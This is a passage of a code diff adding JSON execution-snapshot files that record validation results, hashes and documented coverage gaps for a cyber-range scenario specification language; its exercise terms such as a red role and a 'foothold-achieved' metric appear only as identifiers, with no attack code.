"examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "982ffaed259c4efd8d6c7c789e863cdc763cd06e132aebe2e749260eeabe6aaf", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "98bc546c171514abdb6a0e40339ef0d989a840dbc7c096fd2a57ac99c9489114", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "d65c11de60803f4e5c8d526bec99e9151994fe1b1ed8f78288733ea1da4c02a9", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "08c363f699a81e1755d1afc258620f5bd00975b5", + "snapshot_id": "raes-standardized-specification-coverage-issue-1299-v27", + "snapshot_revision": "27.0.0", + "source_state": { + "base_revision": "08c363f699a81e1755d1afc258620f5bd00975b5", + "checkout_state": "modified", + "implementation_digest": "d0c553c2d77a2dabd965c6939b9ebf610fac7dd776e662fb1384668d2c3630d6", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v28.json b/docs/research/specification-coverage/execution-snapshot-v28.json new file mode 100644 index 000000000..c4756a36b --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v28.json @@ -0,0 +1,690 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-17T05:22:23.214212+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": 